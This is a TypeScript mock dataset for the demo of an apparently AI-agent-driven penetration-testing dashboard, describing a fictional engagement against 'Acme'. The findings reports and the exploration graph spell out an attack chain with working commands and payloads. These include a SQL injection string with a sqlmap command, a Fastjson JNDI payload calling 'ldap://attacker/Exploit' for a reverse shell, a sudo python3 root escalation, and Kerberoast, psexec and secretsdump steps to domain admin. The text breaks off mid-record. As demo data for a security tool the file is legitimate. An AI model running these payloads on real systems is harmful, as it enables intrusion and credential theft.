// Rich mock dataset for the Vercel demo (NEXT_PUBLIC_MOCK=1). Shapes track the // current backend contract in lib/api.ts + lib/types.ts. All data is static and // self-consistent (one company "Acme", a few tasks, findings, exploration graph, // sessions/activity, traffic, agents, etc.) so every page looks populated. import type { Activity, Agent, AgentDetail, Asset, Audit, Company, Conversation, ConvTokenSummary, DailyTokenBucket, Edge, Finding, FindingAsset, InterceptApprovalRow, InterceptAudit, InterceptPending, InterceptRule, LLMPoolStatus, LLMProfile, LLMTask, MCPServer, MCPTool, MissingSkill, PromptVar, PromptVersion, SessionTokenUsage, Settings, SkillCall, SkillItem, Stats, Task, TaskCategory, TaskNode, TaskTemplate, TokenTotal, TokenUsage, Tool, TrafficDetail, TrafficHost, TrafficResp, } from "@/lib/types"; const T = (iso: string) => iso; // readability helper for timestamps // ── Tasks ────────────────────────────────────────────────────────────────── export const ACTIVE_TASK = "t-acme-web"; export const tasks: Task[] = [ { id: "t-acme-web", category_id: 1, category_name: "External assessment", description: "External penetration of the Acme official site and admin (acme.com)", goal: "Gain admin access to acme.com and confirm user sensitive data can be read.", status: "running", created_at: T("2026-07-24T09:12:00Z"), created_unix: 1785489120, last_activity: T("2026-07-26T03:58:22Z"), last_activity_unix: 1785643102, paused: false, active: true, in_flight: 3, findings: { critical: 1, high: 2, medium: 1, low: 0 }, stalled: false, goals_total: 5, goals_met: 2, engine_mode: "exploring", llm_profile_id: 1, llm_profile_ids: [1, 2], active_llm_profile_id: 1, llm_failover_state: "ready", source_task_ids: [], tokens: { input_tokens: 1284500, output_tokens: 96320, cache_read_tokens: 890400, cache_write_tokens: 132000 }, }, { id: "t-acme-api", category_id: 2, category_name: "API focus", description: "Authorization bypass and injection testing on api.acme.com", goal: "Assess authorization bypass (IDOR) and injection risks on the api.acme.com order/user APIs.", status: "running", created_at: T("2026-07-25T14:05:00Z"), created_unix: 1785592500, last_activity: T("2026-07-26T03:40:10Z"), last_activity_unix: 1785642010, paused: false, active: false, in_flight: 2, findings: { critical: 0, high: 1, medium: 1, low: 0 }, stalled: false, goals_total: 4, goals_met: 1, engine_mode: "exploring", llm_profile_id: 1, llm_profile_ids: [1, 2], active_llm_profile_id: 1, llm_failover_state: "ready", source_task_ids: ["t-acme-web"], tokens: { input_tokens: 642300, output_tokens: 51200, cache_read_tokens: 401000, cache_write_tokens: 60000 }, }, { id: "t-shop-pay", category_id: 2, category_name: "API focus", description: "shop.acme.com payment and order flows", goal: "Assess authorization bypass, amount tampering and race condition risks on the payment and order APIs.", status: "paused", created_at: T("2026-07-22T08:30:00Z"), created_unix: 1785313800, last_activity: T("2026-07-23T18:40:10Z"), last_activity_unix: 1785436810, paused: true, active: false, in_flight: 0, stalled: false, goals_total: 4, goals_met: 1, engine_mode: "paused", llm_profile_id: 2, llm_profile_ids: [2, 1], active_llm_profile_id: 2, llm_failover_state: "ready", source_task_ids: ["t-acme-web", "t-acme-api"], tokens: { input_tokens: 233000, output_tokens: 18700, cache_read_tokens: 120000, cache_write_tokens: 22000 }, }, { id: "t-vpn-edge", category_id: 1, category_name: "External assessment", description: "External attack surface reconnaissance (VPN / perimeter services)", goal: "Identify exploitable perimeter services exposed by acme.com.", status: "done", created_at: T("2026-07-18T08:00:00Z"), created_unix: 1784966400, completed_at: T("2026-07-20T22:11:00Z"), completed_unix: 1785190260, last_activity: T("2026-07-20T22:11:00Z"), last_activity_unix: 1785190260, paused: false, active: false, in_flight: 0, stalled: false, goals_total: 3, goals_met: 3, engine_mode: "idle", llm_profile_id: 1, llm_profile_ids: [1], active_llm_profile_id: 1, llm_failover_state: "ready", source_task_ids: [], tokens: { input_tokens: 512000, output_tokens: 40100, cache_read_tokens: 300000, cache_write_tokens: 41000 }, }, ]; export const taskCategories: TaskCategory[] = [ { id: 1, name: "External assessment", task_count: 2, created_at: T("2026-07-18T08:00:00Z"), updated_at: T("2026-07-25T08:00:00Z"), }, { id: 2, name: "API focus", task_count: 2, created_at: T("2026-07-19T08:00:00Z"), updated_at: T("2026-07-24T08:00:00Z"), }, ]; export const taskTemplates: TaskTemplate[] = [ { id: 1, name: "External web penetration", description: "Black-box penetration testing of the target's internet-facing exposure, covering sites, APIs and common admin entry points.", goal: "Identify and verify security issues that could lead to unauthorized access, sensitive data exposure or server compromise.", created_at: T("2026-07-20T08:00:00Z"), updated_at: T("2026-07-25T08:00:00Z"), }, { id: 2, name: "API authorization bypass focus", description: "Focused testing of the target API's authentication, object-level authorization and role boundaries.", goal: "Confirm whether IDOR, horizontal and vertical privilege escalation, and bulk data access risks exist.", created_at: T("2026-07-19T08:00:00Z"), updated_at: T("2026-07-24T08:00:00Z"), }, ]; export const getTask = (id: string) => tasks.find((t) => t.id === id); const grandTotal: TokenTotal = tasks.reduce( (a, t) => ({ input_tokens: a.input_tokens + (t.tokens?.input_tokens ?? 0), output_tokens: a.output_tokens + (t.tokens?.output_tokens ?? 0), cache_read_tokens: a.cache_read_tokens + (t.tokens?.cache_read_tokens ?? 0), cache_write_tokens: a.cache_write_tokens + (t.tokens?.cache_write_tokens ?? 0), }), { input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0 }, ); // ── Stats ────────────────────────────────────────────────────────────────── export function stats( taskId?: string, state: { tasks?: readonly Task[]; findings?: readonly Finding[]; activeTask?: string } = {}, ): Stats & { active_task?: unknown } { const taskList = state.tasks ?? tasks; const findingList = state.findings ?? findings; const base: Stats = { assets: assets.length, engine_mode: "exploring", llm_configured: true, roe_enabled: true, findings_confirmed: findingList.filter((f) => f.severity !== "low").length, }; const selectedTaskID = taskId ?? state.activeTask ?? ACTIVE_TASK; const t = taskList.find((item) => item.id === selectedTaskID); if (!t) return base; return { ...base, engine_mode: t.engine_mode ?? "idle", findings_confirmed: findingList.filter((f) => f.task_id === t.id).length, active_task: { id: t.id, in_flight: t.in_flight, goals_total: t.goals_total, goals_met: t.goals_met, engine_mode: t.engine_mode, paused: t.paused, }, }; } // ── Company + Assets (new unified model) ───────────────────────────────────── export const companies: Company[] = [ { id: 1, name: "Acme Corp", logo: "", asset_count: 18, scope: [ { id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "primary domain" }, { id: 2, company_id: 1, kind: "cidr", net: "203.0.113.0/24", raw: "203.0.113.0/24" }, { id: 3, company_id: 1, kind: "ip", net: "198.51.100.20", raw: "198.51.100.20" }, ], }, ]; export const assets: Asset[] = [ { id: 1, type: "root_domain", company_id: 1, task_ids: [1], domain: "acme.com", root_domain: "acme.com", icp: "Beijing ICP filing 2021xxxx", record_type: "A", record_value: ["203.0.113.10"], last_seen: T("2026-07-26T02:00:00Z"), }, { id: 2, type: "subdomain", company_id: 1, task_ids: [1], domain: "www.acme.com", root_domain: "acme.com", record_type: "CNAME", record_value: "acme.com", last_seen: T("2026-07-26T02:01:00Z"), }, { id: 3, type: "subdomain", company_id: 1, task_ids: [2], domain: "api.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.11"], last_seen: T("2026-07-26T02:02:00Z"), }, { id: 4, type: "subdomain", company_id: 1, task_ids: [3], domain: "shop.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.12"], last_seen: T("2026-07-26T02:03:00Z"), }, { id: 5, type: "subdomain", company_id: 1, task_ids: [4], domain: "vpn.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["198.51.100.20"], last_seen: T("2026-07-20T02:00:00Z"), }, { id: 6, type: "subdomain", company_id: 1, task_ids: [1], domain: "admin.acme.com", root_domain: "acme.com", record_type: "A", record_value: ["203.0.113.10"], last_seen: T("2026-07-26T02:04:00Z"), }, { id: 7, type: "ip", company_id: 1, task_ids: [1, 2], ip: "203.0.113.10", c_segment: "203.0.113.0", open_ports: [ { port: 80, service: "http" }, { port: 443, service: "https" }, { port: 22, service: "ssh" }, ], last_seen: T("2026-07-26T02:05:00Z"), }, { id: 8, type: "ip", company_id: 1, task_ids: [2], ip: "203.0.113.11", c_segment: "203.0.113.0", open_ports: [{ port: 443, service: "https" }], last_seen: T("2026-07-26T02:06:00Z"), }, { id: 9, type: "ip", company_id: 1, task_ids: [4], ip: "198.51.100.20", c_segment: "198.51.100.0", open_ports: [ { port: 443, service: "https" }, { port: 500, service: " isakmp" }, ], last_seen: T("2026-07-20T02:00:00Z"), }, { id: 10, type: "service", company_id: 1, task_ids: [1], ip: "203.0.113.10", port: 443, service_type: "https", service_name: "nginx/1.24.0", last_seen: T("2026-07-26T02:07:00Z"), }, { id: 11, type: "service", company_id: 1, task_ids: [4], ip: "198.51.100.20", port: 22, service_type: "ssh", service_name: "OpenSSH 8.9p1", last_seen: T("2026-07-20T02:00:00Z"), }, { id: 12, type: "app", company_id: 1, task_ids: [1], url: "https://www.acme.com", app_name: "Acme official site", category: "corp", status_code: 200, content_length: 48213, page_title: "Acme Corp — Official Website", technologies: ["Nginx", "React", "Cloudflare"], favicon_mmh3: "-1580860059", last_seen: T("2026-07-26T02:08:00Z"), }, { id: 13, type: "app", company_id: 1, task_ids: [1], url: "https://admin.acme.com", app_name: "Admin console", category: "admin", status_code: 200, content_length: 12044, page_title: "Acme Admin Login", technologies: ["Nginx", "Vue", "Element-UI"], last_seen: T("2026-07-26T02:09:00Z"), }, { id: 14, type: "app", company_id: 1, task_ids: [2], url: "https://api.acme.com", app_name: "REST API", category: "api", status_code: 401, content_length: 45, page_title: "", technologies: ["Kong", "Node.js"], last_seen: T("2026-07-26T02:10:00Z"), }, { id: 15, type: "endpoint", company_id: 1, task_ids: [2], url: "https://api.acme.com/v1/orders", method: "GET", status_code: 200, params: [ { name: "id", in: "query" }, { name: "page", in: "query" }, ], last_seen: T("2026-07-26T02:11:00Z"), }, { id: 16, type: "endpoint", company_id: 1, task_ids: [2], url: "https://api.acme.com/v1/users/me", method: "GET", status_code: 200, last_seen: T("2026-07-26T02:12:00Z"), }, { id: 17, type: "endpoint", company_id: 1, task_ids: [1], url: "https://admin.acme.com/login", method: "POST", status_code: 200, params: [{ name: "username" }, { name: "password" }], last_seen: T("2026-07-26T02:13:00Z"), }, { id: 18, type: "endpoint", company_id: 1, task_ids: [1], url: "https://www.acme.com/search", method: "GET", status_code: 200, params: [{ name: "q", in: "query" }], last_seen: T("2026-07-26T02:14:00Z"), }, // Internal assets (DMZ → internal lateral discovery) { id: 19, type: "ip", company_id: 1, task_ids: [1], ip: "10.0.20.15", c_segment: "10.0.20.0", open_ports: [ { port: 80, service: "http" }, { port: 22, service: "ssh" }, ], last_seen: T("2026-07-25T15:40:00Z"), }, { id: 20, type: "ip", company_id: 1, task_ids: [1], ip: "10.10.10.10", c_segment: "10.10.10.0", open_ports: [ { port: 88, service: "kerberos" }, { port: 389, service: "ldap" }, { port: 445, service: "smb" }, ], last_seen: T("2026-07-25T21:00:00Z"), }, { id: 21, type: "ip", company_id: 1, task_ids: [1], ip: "10.10.10.5", c_segment: "10.10.10.0", open_ports: [{ port: 445, service: "smb" }], last_seen: T("2026-07-25T21:00:00Z"), }, { id: 22, type: "ip", company_id: 1, task_ids: [1], ip: "10.10.10.20", c_segment: "10.10.10.0", open_ports: [{ port: 8080, service: "http-proxy" }], last_seen: T("2026-07-25T21:00:00Z"), }, { id: 23, type: "service", company_id: 1, task_ids: [1], ip: "10.10.10.20", port: 8080, service_type: "http", service_name: "Jenkins 2.289", last_seen: T("2026-07-25T21:35:00Z"), }, { id: 24, type: "service", company_id: 1, task_ids: [1], ip: "10.10.10.10", port: 445, service_type: "smb", service_name: "Windows Server 2019 DC", last_seen: T("2026-07-25T23:55:00Z"), }, { id: 25, type: "app", company_id: 1, task_ids: [1], url: "http://10.10.10.20:8080", app_name: "Jenkins (internal)", category: "ci", status_code: 200, content_length: 14200, page_title: "Jenkins Dashboard", technologies: ["Jenkins", "Java"], last_seen: T("2026-07-25T21:35:00Z"), }, { id: 26, type: "endpoint", company_id: 1, task_ids: [1], url: "http://10.10.10.20:8080/script", method: "GET", status_code: 200, last_seen: T("2026-07-25T21:35:00Z"), }, ]; export const assetCounts: Record = assets.reduce>((m, a) => { m[a.type] = (m[a.type] ?? 0) + 1; return m; }, {}); // assetRef turns an asset id into the asset reference attached to a finding (label follows the same // priority order as the backend coverageNodeLabel: URL > domain > IP > app name). The "By asset" view's tree relies on these references // to attach findings to assets. function assetRef(id: number): FindingAsset { const asset = assets.find((candidate) => candidate.id === id); if (!asset) throw new Error(`mock assetRef: unknown asset ${id}`); return { id: String(id), type: asset.type, label: asset.url || asset.domain || asset.ip || asset.app_name || String(id), }; } // ── Findings ───────────────────────────────────────────────────────────────── export const findings: Finding[] = [ { id: "f-1", assets: [assetRef(18)], vulnclass: "SQL Injection", name: "Error-based SQL injection in the site search API", severity: "high", status: "pending", report: '## Vulnerability Overview\n\n`www.acme.com/search` has **error-based SQL injection** (MSSQL) in the `q` parameter, allowing reads of the database version, schema and even sensitive data.\n\n## Impact\n\n- The table structure and user/order data of the `acme_prod` database can be read\n- Error echo makes it quick to build exploits; high risk\n\n## Reproduction Steps\n\n1. Trigger the error-based injection:\n\n```\nGET /search?q=1\' AND 1=CONVERT(int,@@version)--\n```\n\n2. The response echoes the MSSQL version error, confirming injectability\n3. Enumerate databases further: `sqlmap -u "https://www.acme.com/search?q=1" --dbs`\n\n## Remediation\n\n- Switch everything to parameterized queries / prepared statements and eliminate string concatenation\n- Disable verbose error echo in production\n- Least privilege for the database account; disable dangerous extensions such as `xp_cmdshell`\n', summary: "Error-based SQL injection in the q parameter of www.acme.com/search", evidence: "GET /search?q=1' AND 1=CONVERT(int,@@version)-- → returns an MSSQL version error; the schema can be read.", intent_id: "i-2", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-26T01:20:00Z"), }, { id: "f-2", assets: [assetRef(15)], vulnclass: "IDOR", severity: "high", status: "pending", summary: "api.acme.com/v1/orders?id= can read other users' orders without authorization", evidence: "Changing id=1001 to id=1002 returns another user's order (including shipping address and phone number); no ownership check.", intent_id: "i-5", task_id: "t-acme-api", task_description: "Authorization bypass and injection testing on api.acme.com", ts: T("2026-07-26T02:44:00Z"), }, { id: "f-3", assets: [assetRef(3)], vulnclass: "Weak JWT", severity: "high", status: "pending", summary: "API JWT uses a weak key and can be cracked offline to forge tokens", evidence: "HS256 with the key 'secret'; john cracks it in 5 seconds → any sub can be forged to bypass authorization.", task_id: "t-acme-api", task_description: "Authorization bypass and injection testing on api.acme.com", ts: T("2026-07-26T03:02:00Z"), }, { id: "f-4", assets: [assetRef(18)], vulnclass: "Reflected XSS", severity: "medium", status: "pending", summary: "Search page does not escape the q parameter; reflected XSS", evidence: "q= is echoed verbatim in the result title.", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-25T22:10:00Z"), }, { id: "f-5", assets: [assetRef(2)], vulnclass: "Exposed .git", severity: "medium", status: "pending", summary: "www.acme.com exposes the .git directory; source code can be recovered", evidence: "GET /.git/HEAD → 200; git-dumper recovered the backend source with a commented database connection string.", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-25T20:30:00Z"), }, { id: "f-6", assets: [assetRef(17)], vulnclass: "Default Credentials", severity: "high", status: "pending", summary: "admin.acme.com admin console uses the default credentials admin/admin123", evidence: "Login succeeded, entered the admin console, and can manage users and orders.", intent_id: "i-3", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-26T03:50:00Z"), }, { id: "f-7", assets: [assetRef(17)], vulnclass: "Open Redirect", severity: "low", status: "pending", summary: "The next parameter after login allows arbitrary redirects", evidence: "/login?next=https://evil.example redirects 302 to an external site after login.", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-25T19:12:00Z"), }, { id: "f-8", assets: [assetRef(17)], vulnclass: "Missing Rate Limit", severity: "medium", status: "pending", summary: "Login endpoint has no rate limit and can be brute-forced", evidence: "1000 attempts/minute with no lockout and no captcha.", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-25T18:40:00Z"), }, { id: "f-9", assets: [assetRef(16)], vulnclass: "Verbose Error", severity: "low", status: "pending", summary: "API 500 returns a stack trace, leaking paths and framework versions", evidence: "A triggered 500 returned a Node.js stack trace, leaking absolute paths and dependency versions.", task_id: "t-acme-api", task_description: "Authorization bypass and injection testing on api.acme.com", ts: T("2026-07-25T23:05:00Z"), }, { id: "f-10", assets: [assetRef(4)], vulnclass: "Outdated Component", severity: "medium", status: "pending", summary: "shop uses an outdated component with a known RCE", evidence: "Fingerprinting identified component v2.3.1, matching the CVE-2024-xxxx deserialization RCE.", task_id: "t-shop-pay", task_description: "shop.acme.com payment and order flows", ts: T("2026-07-23T15:00:00Z"), }, // ── High findings along the external→internal kill chain (active task) ── { id: "f-11", vulnclass: "Hardcoded Credentials", severity: "high", status: "pending", summary: "Hardcoded database credentials sa/Acme@2021 in the leaked source", evidence: "git-dumper recovered www.acme.com/.git and obtained config.php containing a plaintext DB password, later confirmed to be reusable internally.", intent_id: "ig", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-25T20:36:00Z"), }, { id: "f-12", assets: [assetRef(4)], vulnclass: "Deserialization RCE", name: "Fastjson deserialization remote command execution on the shop mall", severity: "critical", status: "confirmed", report: '## Vulnerability Overview\n\nThe `/api/import` endpoint of `shop.acme.com` uses **Fastjson 1.2.24** to parse user-controlled JSON without `safeMode` enabled; an attacker can designate an arbitrary class via `@type` to trigger **JNDI injection → remote command execution**.\n\n## Impact\n\n- An unauthenticated attacker can execute arbitrary commands on the DMZ web server (`www-data@dmz-web01`)\n- Combined with later privilege escalation, it becomes a foothold into the internal network\n\n## Reproduction Steps\n\n1. Build the JNDI payload:\n\n```json\n{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}\n```\n\n2. `POST /api/import`, `Content-Type: application/json`\n3. The target calls back to dnslog and a reverse shell lands\n\n## Remediation\n\n- Upgrade Fastjson to **1.2.83+** and enable `safeMode`\n- Add authentication and origin validation to `/api/import`\n- Egress restriction: forbid business servers from initiating LDAP/RMI connections\n', summary: "Fastjson 1.2.24 deserialization remote command execution on shop.acme.com", evidence: "POST /api/import with a JNDI payload (@type:JdbcRowSetImpl) → calls back to dnslog and lands a reverse shell (www-data@dmz-web01).", intent_id: "i7", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-25T15:40:00Z"), }, { id: "f-13", assets: [assetRef(19)], vulnclass: "Privilege Escalation", severity: "high", status: "pending", summary: "DMZ foothold sudo NOPASSWD misconfiguration allows local privilege escalation to root", evidence: "sudo -l shows (ALL) NOPASSWD: /usr/bin/python3 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' gets root directly.", intent_id: "i8", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-25T16:20:00Z"), }, { id: "f-14", assets: [assetRef(19), assetRef(21)], vulnclass: "Network Segmentation", severity: "medium", status: "pending", summary: "DMZ host has dual NICs directly connected to the internal network; perimeter isolation is broken", evidence: "dmz-web01's second NIC is on 10.10.10.0/24 and can reach the domain controller/file server/Jenkins directly from the DMZ, bypassing network segmentation.", intent_id: "i9", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-25T21:00:00Z"), }, { id: "f-15", assets: [assetRef(26)], vulnclass: "Unauthenticated RCE", severity: "high", status: "pending", summary: "Unauthenticated Script Console remote command execution on the internal Jenkins", evidence: "GET /script executes Groovy without login: 'whoami'.execute().text → SYSTEM; also exported the domain account acme\\svc_deploy from the credentials store.", intent_id: "i11", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-25T21:50:00Z"), }, { id: "f-16", assets: [assetRef(21)], vulnclass: "Kerberoasting", severity: "high", status: "pending", summary: "Domain service account svc_sql is Kerberoastable with a weak password", evidence: "GetUserSPNs requested svc_sql's TGS; hashcat -m 13100 cracked Sql@2020 offline; the account is in the SQL admin group.", intent_id: "i12", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-25T23:20:00Z"), }, { id: "f-17", assets: [assetRef(20)], vulnclass: "Domain Compromise", name: "Full control of the internal domain controller DC01 (Domain Admin)", severity: "critical", status: "confirmed", report: "## Vulnerability Overview\n\nA DMZ foothold was gained via the external Fastjson RCE, then sudo privilege escalation, dual-NIC traversal and the unauthenticated Jenkins RCE yielded the domain account `svc_deploy`; the account belongs to **Domain Admins**, giving full control of the domain controller **DC01**.\n\n## Impact\n\n- Domain administrator access obtained; all hosts and accounts in the domain can be controlled\n- `secretsdump` exported the whole domain's NTLM hashes (including `krbtgt`), enabling golden tickets for long-term persistence\n- Internal target met\n\n## Reproduction Steps\n\n1. Log in as `svc_deploy` and export hashes:\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. Obtain SYSTEM on DC01 and export every hash in the domain\n\n## Remediation\n\n- Trim service account privileges, move them out of Domain Admins, and enforce tiering\n- Reset `krbtgt` twice in a row and rotate service account passwords to strong ones\n- Fix the DMZ→internal perimeter isolation and the RCE/privilege escalation chain above\n", summary: "Domain controller DC01 taken (Domain Admin) — internal target met", evidence: "svc_deploy belongs to Domain Admins; psexec.py logged into DC01 with it to get SYSTEM, and secretsdump exported the whole domain's NTLM hashes (including krbtgt), completing control of the target.", intent_id: "i13", task_id: "t-acme-web", task_description: "External penetration of the Acme official site and admin", ts: T("2026-07-26T00:20:00Z"), }, ]; // ── Exploration graph (active task) ────────────────────────────────────────── // Current model: the root is a fact/state=origin (rendered as "Origin"); payload is a JSON string, // goals read text and everything else reads summary. Structure: root→goal(spawns)→intent(spawns)→fact/finding(yields), // finding→goal(proves), hint→intent(derived_from). const P = (o: Record) => JSON.stringify(o); export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = { nodes: [ { id: "root", type: "fact", payload: P({ summary: "Root: acme.com external→internal in-depth penetration" }), priority: 0, state: "origin", origin: "system", ts: T("2026-07-24T09:12:00Z"), }, // ── Goals (decomposed by the goals agent, escalating toward the internal target as findings arrive) ── { id: "g1", type: "goal", payload: P({ text: "Gain admin access to acme.com" }), priority: 9, state: "met", origin: "goals", ts: T("2026-07-24T09:13:00Z"), }, { id: "g2", type: "goal", payload: P({ text: "Read user sensitive data" }), priority: 8, state: "open", origin: "goals", ts: T("2026-07-24T09:13:00Z"), }, { id: "g3", type: "goal", payload: P({ text: "Break through the DMZ from the outside and establish an internal foothold" }), priority: 9, state: "met", origin: "goals", ts: T("2026-07-25T14:10:00Z"), }, { id: "g4", type: "goal", payload: P({ text: "Move laterally internally and take the internal target domain controller DC01" }), priority: 10, state: "met", origin: "goals", ts: T("2026-07-25T20:00:00Z"), }, // ── Layer 1 · External reconnaissance / external findings ── { id: "i1", type: "intent", payload: P({ summary: "acme.com subdomain enumeration and port scanning" }), priority: 6, state: "done", origin: "planner", ts: T("2026-07-24T09:20:00Z"), }, { id: "i2", type: "intent", payload: P({ summary: "Admin console default / weak credential testing" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-26T03:30:00Z"), }, { id: "i3", type: "intent", payload: P({ summary: "Enumerate admin console features and user data APIs" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T03:55:00Z"), }, { id: "i4", type: "intent", payload: P({ summary: "SQL injection probing on the www.acme.com/search page" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T22:00:00Z"), }, { id: "i5", type: "intent", payload: P({ summary: "Authorization bypass (IDOR) testing on the api.acme.com order API" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T02:30:00Z"), }, { id: "ig", type: "intent", payload: P({ summary: "www.acme.com .git source leak and hardcoded credential extraction" }), priority: 7, state: "done", origin: "planner", ts: T("2026-07-25T20:20:00Z"), }, // ── Layer 2 · Breaking through the DMZ to establish a foothold ── { id: "i6", type: "intent", payload: P({ summary: "shop.acme.com component fingerprinting and CVE correlation" }), priority: 7, state: "done", origin: "planner", ts: T("2026-07-25T14:20:00Z"), }, { id: "i7", type: "intent", payload: P({ summary: "Trigger the shop deserialization RCE and obtain a reverse shell" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-25T15:10:00Z"), }, { id: "i8", type: "intent", payload: P({ summary: "Local information gathering on the DMZ foothold and escalation to root" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T16:00:00Z"), }, // ── Layer 3 · Internal lateral depth (multi-layer testing) ── { id: "i9", type: "intent", payload: P({ summary: "Internal host discovery using the foothold as a pivot" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T20:30:00Z"), }, { id: "i10", type: "intent", payload: P({ summary: "Internal credential reuse and password spraying" }), priority: 8, state: "running", origin: "planner", ts: T("2026-07-26T03:40:00Z"), }, { id: "i11", type: "intent", payload: P({ summary: "Unauthenticated Groovy script execution (RCE) on the internal Jenkins" }), priority: 9, state: "done", origin: "planner", ts: T("2026-07-25T21:30:00Z"), }, { id: "i12", type: "intent", payload: P({ summary: "Kerberoast domain service accounts and crack them offline" }), priority: 8, state: "done", origin: "planner", ts: T("2026-07-25T22:40:00Z"), }, { id: "i13", type: "intent", payload: P({ summary: "Log in with domain admin credentials and take the domain controller DC01" }), priority: 10, state: "done", origin: "planner", ts: T("2026-07-25T23:50:00Z"), }, // ── Facts ── { id: "fa1", type: "fact", payload: P({ summary: "Discovered the subdomain admin.acme.com (Element-UI admin console)" }), priority: 0, state: "open", origin: "work#1", ts: T("2026-07-24T09:40:00Z"), }, { id: "fa2", type: "fact", payload: P({ summary: "The q parameter on the search page is an error-based injection point (MSSQL)" }), priority: 0, state: "open", origin: "work#4", ts: T("2026-07-25T22:05:00Z"), }, { id: "faGit", type: "fact", payload: P({ summary: ".git is downloadable; git-dumper recovered the backend source" }), priority: 0, state: "open", origin: "workG", ts: T("2026-07-25T20:30:00Z"), }, { id: "faCreds", type: "fact", payload: P({ summary: "config.php in the source hardcodes the DB password sa / Acme@2021 (suspected shared internally)" }), priority: 0, state: "open", origin: "workG", ts: T("2026-07-25T20:35:00Z"), }, { id: "fa3", type: "fact", payload: P({ summary: "shop fingerprint matched Fastjson 1.2.24 (known deserialization RCE)" }), priority: 0, state: "open", origin: "work#6", ts: T("2026-07-25T14:40:00Z"), }, { id: "fa4", type: "fact", payload: P({ summary: "Reverse shell succeeded: www-data@dmz-web01(10.0.20.15), in the DMZ segment" }), priority: 0, state: "open", origin: "work#7", ts: T("2026-07-25T15:40:00Z"), }, { id: "fa5", type: "fact", payload: P({ summary: "sudo -l: (ALL) NOPASSWD: /usr/bin/python3 → escalation to root possible" }), priority: 0, state: "open", origin: "work#8", ts: T("2026-07-25T16:20:00Z"), }, { id: "fa6", type: "fact", payload: P({ summary: "The foothold's second NIC connects directly to 10.10.10.0/24 (crossing the DMZ boundary)" }), priority: 0, state: "open", origin: "work#9", ts: T("2026-07-25T20:40:00Z"), }, { id: "fa7", type: "fact", payload: P({ summary: "Alive internally: 10.10.10.10 DC01 (domain controller) / 10.10.10.5 FS01 (SMB) / 10.10.10.20 JENKINS" }), priority: 0, state: "open", origin: "work#9", ts: T("2026-07-25T21:00:00Z"), }, { id: "fa8", type: "fact", payload: P({ summary: "The JENKINS /script console is unauthenticated and executes Groovy directly" }), priority: 0, state: "open", origin: "work#11", ts: T("2026-07-25T21:45:00Z"), }, { id: "fa9", type: "fact", payload: P({ summary: "Exported the plaintext password of domain account acme\\svc_deploy from the Jenkins credentials store" }), priority: 0, state: "open", origin: "work#11", ts: T("2026-07-25T22:10:00Z"), }, { id: "fa10", type: "fact", payload: P({ summary: "Kerberoasted svc_sql's TGS; hashcat cracked the password Sql@2020" }), priority: 0, state: "open", origin: "work#12", ts: T("2026-07-25T23:20:00Z"), }, // ── Findings ── { id: "fi1", type: "finding", payload: P({ summary: "Admin console default credentials admin/admin123" }), priority: 0, state: "confirmed", origin: "work#2", ts: T("2026-07-26T03:50:00Z"), }, { id: "fi2", type: "finding", payload: P({ summary: "SQL injection (search q) can read the acme_prod database" }), priority: 0, state: "confirmed", origin: "work#4", ts: T("2026-07-26T01:20:00Z"), }, { id: "fi3", type: "finding", payload: P({ summary: "IDOR: /v1/orders?id= can read other users' orders" }), priority: 0, state: "confirmed", origin: "work#5", ts: T("2026-07-26T02:44:00Z"), }, { id: "fiSrc", type: "finding", payload: P({ summary: "Source leak + hardcoded database credentials (sa/Acme@2021)" }), priority: 0, state: "confirmed", origin: "workG", ts: T("2026-07-25T20:36:00Z"), }, { id: "fiRce", type: "finding", payload: P({ summary: "shop Fastjson deserialization RCE; server command execution obtained" }), priority: 0, state: "confirmed", origin: "work#7", ts: T("2026-07-25T15:40:00Z"), }, { id: "fiPriv", type: "finding", payload: P({ summary: "Local privilege escalation to root on the DMZ foothold (sudo NOPASSWD misconfiguration)" }), priority: 0, state: "confirmed", origin: "work#8", ts: T("2026-07-25T16:20:00Z"), }, { id: "fiJenkins", type: "finding", payload: P({ summary: "Unauthenticated Groovy on the internal Jenkins → server RCE" }), priority: 0, state: "confirmed", origin: "work#11", ts: T("2026-07-25T21:50:00Z"), }, { id: "fiKerb", type: "finding", payload: P({ summary: "Kerberoasting cracked the domain service account svc_sql's password" }), priority: 0, state: "confirmed", origin: "work#12", ts: T("2026-07-25T23:20:00Z"), }, { id: "fiDC", type: "finding", payload: P({ summary: "Domain controller DC01 taken (Domain Admin) — internal target met" }), priority: 0, state: "confirmed", origin: "work#13", ts: T("2026-07-26T00:20:00Z"), }, // ── Hints (injected by the main agent) ── { id: "h1", type: "hint", payload: P({ summary: "The admin console is Element-UI; run the default credential list first" }), priority: 5, state: "consumed", origin: "mainagent", ts: 